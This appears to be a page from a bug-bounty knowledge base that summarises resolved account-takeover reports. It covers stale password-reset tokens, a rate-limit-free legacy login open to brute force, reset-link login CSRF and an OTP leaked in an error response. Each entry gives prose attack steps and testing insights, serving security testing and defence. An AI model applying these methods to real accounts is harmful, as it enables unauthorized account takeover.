Insight β Test reset-token lifecycle: after issuing a second token, confirm the first is dead; stale-valid tokens defeat recovery even after the victim re-secures their mailbox.
Real-world example
Legacy login page (reached via email-change edge case) lacks rate limiting
β Info
Specimen #1435392 Β· acronis Β· USD 250 Β· 16 votes Β· resolved
Program acronisSurface webTag account-takeover
Root cause
An email-change confirmation collision (email already in use) redirects the user to a different, legacy login page that has no rate limiting, opening it to brute force.
Method
- Start change-email to a new address (get confirm link, don't click)
- Register a new account with that same email (get its confirm link, don't click)
- Log out, then click the first (change-email) confirm link
- You are redirected to an alternate login page
- That login page has no rate limit; brute force it (302 = wrong, 1508 = success)
Insight β Enumerate alternate/legacy/SSO-collision login pages reachable via edge flows; security controls (rate limit, captcha) are often present only on the primary login.
Real-world example
Password reset link survives email change
β Info
Specimen #17383 Β· hackerone Β· awarded Β· 15 votes Β· resolved
Program hackeroneSurface webTag account-takeover
Root cause
Password reset tokens are not invalidated when the account's email address is changed, so a reset link mailed to the old address still resets the (now different) account.
Method
- Register account with email a@x.com
- Request a password reset link (mailed to a@x.com); do not use it
- Log in normally and change/verify email to b@x.com
- Use the old reset link from step 2
- Password is changed on the account despite the email having moved
Insight β Whenever an account attribute a reset token implicitly binds to (email, password hash, session) changes, all outstanding reset tokens must be invalidated. Test: issue a reset link, change the email, then replay the link.
Real-world example
Reset link auto-login before password set (login CSRF)
β Info
Specimen #809 Β· phabricator Β· 300 Β· 14 votes Β· resolved
Program phabricatorSurface webTag account-takeover
Root cause
Clicking a password recovery link logs the user in immediately, before any new password is entered; an attacker generates a reset link for the attacker's own account and tricks the victim into clicking it, silently logging the victim into the attacker's account.
Method
- Attacker requests a password recovery link for the attacker's own account
- Attacker sends that link to the victim
- Victim clicks; victim is auto-logged into the attacker's account
- Victim's subsequent activity/data is stored under attacker-controlled account
Insight β A reset link should verify identity and require setting a new password, not create an authenticated session on click. This is a login-CSRF / reverse-ATO primitive: the victim ends up in the attacker's session and may leak data or link payment/PII to it.
Real-world example
OTP bypass via OTP leaked in error response
β Info
Specimen #142221 Β· eternal Β· none Β· 14 votes Β· resolved
Program eternalSurface webTag account-takeover
Root cause
When a wrong OTP is submitted, the server error response includes the actual session/OTP code, so an attacker verifies any phone number by reading the correct OTP back from the failed-verification response.
Method
- Start an action requiring phone OTP (order placement) with an arbitrary phone number
- Submit a wrong OTP and intercept the response
- The error response discloses the correct session code / OTP
- Resubmit with the leaked code to pass verification; can also swap the phone number in the final request
Insight β Always diff the OTP failure response for the real code, a leaked hash, or the code in a Set-Cookie/JSON field. Also check whether the verified phone/email can be swapped in the final state-changing request (client-side trust of pre-verified value).
Real-world example
Password reset token not invalidated after login
β Info
Specimen #161924 Β· nextcloud Β· none Β· 9 votes Β· resolved
Program nextcloudSurface webTag account-takeover
Root cause
A password-reset link stays valid after the user logs in normally; the token is only time-expired, not invalidated on login or on a subsequent auth event, so a previously requested link remains usable.
Method
- Request a password reset link for an account
- Log into that account normally
- Log out
- Use the earlier reset link - it still works and resets the password
Insight β Reset tokens must be single-use and invalidated on any competing auth event (successful login, password change, new reset request). Test token lifecycle: request -> login -> reuse link. A lingering link from a compromised inbox = takeover.
Real-world example
Password-reset tokens not invalidated
β Info
Specimen #229987 Β· weblate Β· none Β· 3 votes Β· resolved
Program weblateSurface webTag account-takeover
Root cause
Requesting multiple password-reset links left all previously issued tokens valid; older tokens were not invalidated when a new one was requested or when one was used.
Method
- Request several password-reset emails for the same account
- Verify every issued token still works
- Confirm using one token does not invalidate the others
Insight β Reset/verification tokens should be single-use and superseded. Test: request N tokens, then (a) use token #1 and retry #2..N, (b) use the oldest after requesting the newest. Lingering-valid tokens widen the window for stolen-link and race attacks.